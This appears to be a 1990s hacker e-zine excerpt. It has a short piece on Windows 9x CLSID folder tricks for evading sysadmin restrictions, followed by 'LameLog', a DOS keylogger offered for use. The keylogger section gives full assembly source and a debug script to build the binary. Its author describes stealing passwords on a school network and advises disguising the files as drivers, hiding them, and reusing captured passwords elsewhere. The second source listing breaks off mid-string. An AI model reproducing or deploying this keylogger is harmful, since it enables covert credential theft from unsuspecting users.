| _> _ _ ___ ___ ___| __><_> _ _ ___
| <__| '_>/ . \<_-<<_-<| _> | || '_>/ ._>
`___/|_| \___//__//__/|_| |_||_| \___. _____ _____ ___ ___ __
/ | \| _ \ \ \/ /| |
/ \ __/ \ / | |
\ / | \ / | |
\_____/|__| \/ |__|
PRESENTS:
More 'features' in Win 9x.
~~~~~~~~~~~~~~~~~~~~~~~~~~
Anybody running a Win 9x box particularly one with IE4 or IE5 installed will have noticed that some folders such as your fonts folder, 'My Briefcase' and the 'Recycle Bin' behave differently to normal folders. Perhaps you want them to behave like normal folders, or create them in other places, or just bugger about with them a bit. Here's how it works. In any folder such as this, there will be a hidden file called 'desktop.ini'. Editing it will produce something along the lines of:
[.ShellClassInfo]
UICLSID={BD84B380-8CA2-1069-AB1D-08000948F534}
This one is taken from my fonts folder. The '[.ShellClassInfo]' bit is found in all of these files, and means nothing. Its basically a comment. The next line may vary from folder to folder. A Common variation is to have CLSID instead of UICLSID. The value after the = sign is the important one, and will be different for every desktop.ini file. Creating a folder anywhere named xxx.{BD84B380-8CA2-1069-AB1D-08000948F534} (the xxx can be anything and can be any number of characters) will create a folder with the same properties as the fonts folder. The same applies for whatever else is after the '(UI)CLSID=' bit. When you've made yourself a few Recycle Bins and stuff, you will probably ask what exactly the point of this is. For a start you can delete desktop.ini, and make it behave like a normal folder. If your 'History' folder is pissing you off or something. But more importantly, most of you will probably have seen a list looking something like this:
Network Neighborhood.{208D2C60-3AEA-1069-A2D7-08002B30309D}
Printers.{2227A280-3AEA-1069-A2DE-08002B30309D}
My Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}
InterNet.{3DC7A020-0ACD-11CF-A9BB-00AA004AE837}
Recycle Bin.{645FF040-5081-101B-9F08-00AA002F954E}
Brief Case.{85BBD920-42A0-1069-A2E4-08002B30309D}
Internet Explorer.{871C5380-42A0-1069-A2EA-08002B30309D}
DUN.{a4d92740-67cd-11cf-96f2-00aa00a11dd9}
Task Scheduler.{D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Recognise the layout? None of these are actually folders, and therefore do not have a desktop.ini file associated with them. For example, Control Pannel is stored as a series of files named .cpl in your \windows\system folder which can all be accessed individually. The program which puts each of these components into their 'folder' is called control.exe and is located in the root of your windows folder. But searching for the string 'clsid' in your registry will spew out a lot of interesting material. Obviously you'll have to wade through all the crap to get to it, as a lot of information about the way that Windows operates is stored in this way. The uses for these are practically limitless. Your sysadmin has probably limited access to most of this stuff, so you can just make yer own copies of the stuff.
Having tried many ways of getting a difinitive list of these files, its actually made pretty damn difficult for you. 'dir /s /ah desktop.ini' returns 2 files, and needless to say Windoes Find is worse than useless, 'attrib /s > file.txt' and searching the file for the string desktop.ini gets most of them, but for some reason fails to locate some. Try them both to see what I mean. If anybody can get any better results than this, please contact me (ergophobe@dial.pipex.com).
And the moral, the registry holds the key (sorry bad pun) to just about everything in Windows. Leave no stone unturned.
ergophobe
���������������������������������������ͻ
� � � � � � � � � � � � � � � � � � � � �
� � L A M E L O G � �
� � b y E X E - G e n c y � �
� � � � � � � � � � � � � � � � � � � � �
���������������������������������������ͼ
The two LameLog programs are key trapping programs. Key trapping is
the process of hooking a keyboard interrupt, intercepting all the buttons
pressed by the user and writing them to a file. Programs such as these are
extremely useful for finding user names and passwords. I only wrote this
lame program to get some passwords on my school network because I didn't have
access to the internet at the time and therefore couldn't get hold of a
decent key trapping program.
The first program (LAMELOG1) must be run before the login screen
program and will keep a buffer of the key pressed. The second program must be
run after hte security program and will write all of the keys to a file
(test.log).
�������������������Ŀ
� Interrupt hooking �
����������������������
As every assembly programmer should know, there are two different
interrupts used to service the keyboard: INT 09h and INT 16h. INT 09h
provides low level access and lets us detect 'special keys' like CTRL, ALT,
SHIFT, CAPS LOCK etc. INT 16h provided a wide range of easy-to-use functions
that allows high-level access to the keyboard. We will be installing own
INT 09h handler that will collect all key presses and dump them to a file.
We will also be installing our own INT 21h handler, that lets us
check memory residency and the position of the buffer in memory. Below is
a list of the functions and return values for the two new interrupt
handlers.
INT 21h
AX = F0001h
returns
AX = 1234h
if LAMELOG1 is resident in memory.
INT 21h
AX = F0001h
returns
BX = Length of buffer
DX = Offset of buffer
ES = Segment of buffer
������������������������Ŀ
� Using the two programs �
��������������������������
Simply call LAMELOG1 before the security program, and LAMELOG2 after
it. For example, the AUTOEXEC.BAT file would be:
@echo off
keyb
mouse
(etc)
cd\
lamelog1
security software
lamelog2
Make sure that the two files are either in the root directory or in
one that is included in the system PATH or there will be a few 'bad command
or filename' messages on boot-up. It would also be a good idea to rename the
two files to something less suspicious such as keyboard drivers etc. as well
as giving them the ATTRIB +H treatment.
Before the program can work successfully, there must be a file
called TEST.LOG in the root directory. After a few boot ups, open the file
using a hex-editor, and you will be able to see all scan codes for key
presses.
If you've got access to the system files then the security must be
pretty shite and you have nothing to gain by using other peoples passwords.
You should, however, remember that a user may be using the same logon
password as that for a unix account, ISP account etc.
The only knowledge I have of assembly language, has been gathered by
reading virus programming tutorials and source codes. It is for this reason
that many of the techniques used (especially the interrupt hooking,
interrupt handling and residency calls) resemble viral code and will
trigger heuristic AV programs.
Have fun and don't get caught.
Um! When reading keys from the keyboard port, you don't get nice
ascii numbers (like 65 for A etc.) but complex scan codes, instead. It is
not immediately obvious what these codes represent, so I've included a table
of the most common key presses. The first hex byte is the code generated
when the key is pressed while the second byte corresponds to the code
generated when the key is released.
a 1Eh 9Eh | n 31h B1h | 1 02h 82h
b 30h B0h | o 18h 98h | 2 03h 83h
c 2Eh AEh | p 19h 99h | 3 04h 84h
d 20h A0h | q 10h 90h | 4 05h 85h
e 12h 92h | r 13h 93h | 5 06h 86h
f 21h A1h | s 1Fh 9Fh | 6 07h 87h
g 22h A2h | t 14h 94h | 7 08h 88h
h 23h A3h | u 16h 96h | 8 09h 89h
i 17h 97h | v 2Fh AFh | 9 0Ah 8Ah
j 24h A4h | w 11h 91h | 0 0Bh 8Bh
k 25h A5h | x 2Dh ADh |
l 26h A6h | y 15h 95h |
m 32h B2h | z 2Ah ACh |
space 39h B9h
enter 1Ch 9Ch
shift 2Ah AAh
backspace 0Eh 8Eh
For example, should someone press 'S' three times, then hold down
'T' then press enter, you would get:
1F 9F 1F 9F 1F 9F 14 14 14 14 14 94 1C 9C
� S � � S � � S � ������� T ������� �ENT�
If you want to know the scan codes for keys other than those listed
above (such as F1-F12, cursor keys) you'll have to experiment by yourself.
Warrantly notice: I cannot stress how buggy and lame theses two programs are.
If you want a decent key trapping program, for gods sake, go and find one on
the internet. All of the ones I've seen on the internet since writing this
program were much better.
���������������������������������������������������������������������������Ŀ
� L A M E L O G 1 . A S M s o u r c e c o d e �
�����������������������������������������������������������������������������
; To compile:
; TASM LAMELOG1
; TLINK /T LAMELOG1
prog segment
assume cs:prog, ds:prog
org 0100h
ProgStart: jmp GoResident ; Jump past INT 09h handler
NewInt09hHand: pushf ; Save flags register
push bp ; Save BP
push ax ; Save AX
push bx ; Save BX
push cx ; Save CX
push dx ; Save DX
push ds ; Save DS
push es ; Save ES
push cs ; Save CS
push cs ; Save CS
pop ds ; Pop CS to DS
pop es ; Pop CS to ES
in al, 60h ; Read character from keyboard port
mov bp, BufferLength ; Put bufferlength into BP
mov byte ptr Buffer[bp], al ; Put AL (char) into array
inc bp ; BP++
cmp bp, 1001 ; If BP=1001
jne UpdateBufferLen
mov bp, 00h ; Set BP to zero
UpdateBufferLen:mov BufferLength, bp ; Move BP to Bufferlength
pop es ; Restore ES
pop ds ; Restore DS
pop dx ; Restore DX
pop cx ; Restore CX
pop bx ; Restore BX
pop ax ; Restore AX
pop bp ; Restore BP
popf ; Restore flags
OldInt09hHand: db 0EAh ; Code for jmp far
OldInt09hOff dw 0000h ; Offset of old INT 09h handler
OldInt09hSeg dw 0000h ; Segment of old INT 09h handler
NewInt21hHand: pushf ; Push flags
cmp ax, 0F001h ; If AX=F001h (Residency check)
jne NextFunction ; Check for next function
mov ax, 1234h ; Return 1234h to calling program
popf ; Restore flags
iret ; Return to calling program
NextFunction: cmp ax, 0F002h ; If AX=F002h (Get segment/offset etc.)
jne OldInt21hHand ; Jump to old handler
; Return Seg and Offset of buffer data
push ds ; Save DS
push cs ; Save CS
pop ds ; Restore CS in DS
mov bx, word ptr BufferLength ; Move buffer length to BX
mov dx, word ptr BufferOffset ; Move buffer offset to DX
mov es, word ptr BufferSegment; Move Buffer segment to ES
pop ds ; Restore DS
popf ; Restore flags
iret ; Return to calling program
OldInt21hHand: popf ; Restore flags
db 0EAh ; Code for JMP FAR
OldInt21hOff dw 0000h ; Offset of old int 21h handler
OldInt21hSeg dw 0000h ; Segment of old int 21h handler
BufferSegment dw 0000h ; Segment of key buffer
BufferOffset dw 0000h ; Offset of key buffer
BufferLength dw 0000h ; Length of key buffer
Buffer db 1000 dup(0) ; Buffer (maximum of 1000 characters)
GoResident: mov ax, 0F001h ; Check if LAMELOG1 is already resident
int 21h ; Call DOS interrupt
cmp ax, 1234h ; If AX==1234h then LAMELOG1 is already TSR
je Exit ; ...and therefore end program
push cs ; Save CS register
pop ds ; Restore CS register into DS
mov BufferSegment, ds ; Move DS to BufferSegment
lea ax, Buffer ; Load address of Buffer to AX
mov BufferOffset, ax ; Store AX in BufferOffset
mov ax, 3509h ; Get current Seg/Off of current 09h handler
int 21h ; Call DOS interrupt
mov OldInt09hOff, bx ; Move old Int09h Off to OldInt09hOff
mov OldInt09hSeg, es ; Move old Int09h Seg to OldInt09hSeg
mov ax, 3521h ; Get current Seg/Off of current 21h handler
int 21h ; Call DOS interrupt
mov OldInt21hOff, bx ; Move old Int21h Off to OldInt21hOff
mov OldInt21hSeg, es ; Move old Int21h Off to OldInt21hOff
mov ax, 2509h ; Set new Int 09h
lea dx, NewInt09hHand ; DX=Offset of NewInt09hHandler
int 21h ; Cass DOS interrupt
mov ax, 2521h ; Set new Int 21h
lea dx, NewInt21hHand ; DX=Offset of NewInt21hHandler
int 21h ; Cass DOS interrupt
lea dx, ProgramEnd ; Set DX to end of program
int 27h ; Go TSR
Exit: int 20h ; Return to operating system
ProgramInfo db 'LameLog1 written by EXE-Gency'
ProgramEnd:
prog ends
end ProgStart
���������������������������������������������������������������������������Ŀ
� L A M E L O G 1 d e b u g s c r i p t �
�����������������������������������������������������������������������������
If you don't have TASM and TLINK, just copy the following to a text file and
type:
debug < filename
and a file called 'lamelog1.com' will appear
N LAMELOG1.COM
E 0100 E9 48 04 9C 55 50 53 51 52 1E 06 0E 0E 1F 07 E4
E 0110 60 8B 2E 61 01 3E 88 86 63 01 45 81 FD E9 03 75
E 0120 03 BD 00 00 89 2E 61 01 07 1F 5A 59 5B 58 5D 9D
E 0130 EA 00 00 00 00 9C 3D 01 F0 75 05 B8 34 12 9D CF
E 0140 3D 02 F0 75 12 1E 0E 1F 8B 1E 61 01 8B 16 5F 01
E 0150 8E 06 5D 01 1F 9D CF 9D EA 00 00 00 00 00 00 00
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0540 00 00 00 00 00 00 00 00 00 00 00 B8 01 F0 CD 21
E 0550 3D 34 12 74 3B 0E 1F 8C 1E 5D 01 B8 63 01 A3 5F
E 0560 01 B8 09 35 CD 21 89 1E 31 01 8C 06 33 01 B8 21
E 0570 35 CD 21 89 1E 59 01 8C 06 5B 01 B8 09 25 BA 03
E 0580 01 CD 21 B8 21 25 BA 35 01 CD 21 BA AF 05 CD 27
E 0590 CD 20 4C 61 6D 65 4C 6F 67 31 20 77 72 69 74 74
E 05A0 65 6E 20 62 79 20 45 58 45 2D 47 65 6E 63 79
RCX
04AF
W
Q
���������������������������������������������������������������������������Ŀ
� L A M E L O G 2 . A S M s o u r c e c o d e �
�����������������������������������������������������������������������������
; To compile:
; TASM LAMELOG2
; TLINK /T LAMELOG2
prog segment
assume cs:prog, ds:prog
org 0100h
ProgStart: mov ax, 0F001h ; Is LAMELOG1 resident?
int 21h ; DOS interrupt
cmp ax, 1234h ; If AX==1234h then LAMELOG is resident
je OpenFile ; then jump to 'OpenFile' label
mov ah, 09h ; 09h==DOS function to write to screen
lea dx, NotResident ; DX==Offset of 'No TSR!' message
int 21h ; Call DOS interrupt
jmp Exit ; Jump to end of program
OpenFile: mov ah, 3Dh ; 3Dh==DOS function to open file
mov al, 02h ; Open file for writing
lea dx, LogFilename ; DX==Offset of filename 'TEST.LOG'
int 21h ; Call DOS interrupt
jnc SeekEOF ; If no error then jump to label 'SeekEOF'
mov ah, 09h ; DOS Function to write to screen
lea dx, BadFile; DX==Offset of 'Bad file!' text string
int 21h ; Call DOS interrupt
jmp Exit ; Jump to end of program
SeekEOF: xchg bx, ax ; Move file handle from AX to BX
mov ah, 42h ; 42h==DOS function to seek position in file
mov al, 02h ; 02h==EOF
mov cx, 0000h ; Most significant part of offset
mov dx, 0000h ; Least significant part of offset
int 21h ; Call DOS interrupt
WriteStart: mov ah, 40h ; 40h==DOS function to write to file
mov cx, 09h ; CX==Number of bytes to write
lea dx, StartString ; DX==Offset of 'START' string
int 21h ; Call DOS interrupt
push bx ; Vale file handle for a moment
mov ax, 0F002h ; Get Seg/Offset/Length of buffer from
; LameLog1 program resident in memory
int 21h ; Call DOS interrupt
; bx=BufferLength
; es=BufferSegment
; dx=BufferOffset
mov cx, bx ; Move length of buffer into CX
pop bx ; Restore file handle from stack
push ds ; Save DS register
push es ; Push ES register to stack
pop ds ; Restore ES into DS (mov ds, es)
mov ah, 40h ; Write to file
int 21h ; DOS interrupt
pop ds ; Restore DS register
mov ah, 3Eh ; 3Eh==Close File
int 21h ; Do it.
Exit: int 20h ; Call int 20h (return to OS)
NotResident db 'No TSR!